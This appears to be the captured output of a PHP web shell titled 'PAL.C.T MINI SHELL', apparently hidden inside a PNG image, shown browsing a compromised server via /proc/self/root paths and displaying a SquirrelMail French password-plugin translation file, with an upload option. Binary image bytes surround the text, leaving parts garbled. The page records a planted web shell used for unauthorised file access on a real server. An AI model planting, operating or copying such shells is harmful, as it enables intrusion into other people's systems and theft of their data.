php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/proc/self/root/usr/share/squirrelmail/locale/fr_FR/LC_MESSAGES/
upload
files >> //proc/self/root/proc/self/root/usr/share/squirrelmail/locale/fr_FR/LC_MESSAGES/change_pass.po

# French (fr_FR) change_pass plugin translation.
# Copyright (c) 2003-2009 The SquirrelMail Project Team
# Ludovic Marcotte <ludovic@Sophos.ca>, 2003.
# $Id: change_pass.po 13719 2009-05-18 12:02:52Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: change_pass 2.6\n"
"POT-Creation-Date: 2003-09-12 12:12-0600\n"
"PO-Revision-Date: 2003-12-17 15:37-0700\n"
"Last-Translator: Ludovic Marcotte <ludovic@Sophos.ca>\n"
"Language-Team: French <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"

#: options.php:36 setup.php:18
msgid "Change Password"
msgstr "Changer le mot de passe"

#: options.php:77
msgid "Closing Connection"
msgstr "Fermeture de la connexion"

#: options.php:137
msgid "Connecting to Password Server"
msgstr "Connexion au serveur de mot de passe"

#: options.php:141
msgid "ERROR:"
msgstr "ERREUR:"

#: options.php:52
msgid "New Password"
msgstr "Nouveau mot de passe"

#: options.php:51
msgid "Old Password"
msgstr "Ancien mot de passe"

#: options.php:173 setup.php:35
msgid "Password changed successfully."
msgstr "Le mot de passe a &#233;t&#233; chang&#233; avec succ&#232;s."

#: options.php:64
msgid "Submit"
msgstr "Soumettre"

#: setup.php:20
msgid ""
"This connects to your local Password Server to change your email password."
msgstr "Ceci se connecte &#224; votre serveur de mot de passe afin de le changer."

#: options.php:53
msgid "Verify New Password"
msgstr "V&#233;rifiez le nouveau mot de passe"

#: options.php:112
msgid "You must also type in your new password in the verify box."
msgstr "Vous devez aussi sp&#233;cifiez le nouveau mot de passe dans le champ de v&#233;rification."

#: options.php:109
msgid "You must type in a new password."
msgstr "Vous devez sp&#233;cifiez un nouveau mot de passe."

#: options.php:106
msgid "You must type in your old password."
msgstr "Vous devez sp&#233;cifiez votre ancien mot de passe."

#: options.php:115
msgid "Your new password doesn't match the verify password."
msgstr "Votre nouveau mot de passe n'est pas identique &#224; celui de v&#233;rification."

#: options.php:118
msgid "Your old password is not correct."
msgstr "Votre ancien mot de passe est incorrect."
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`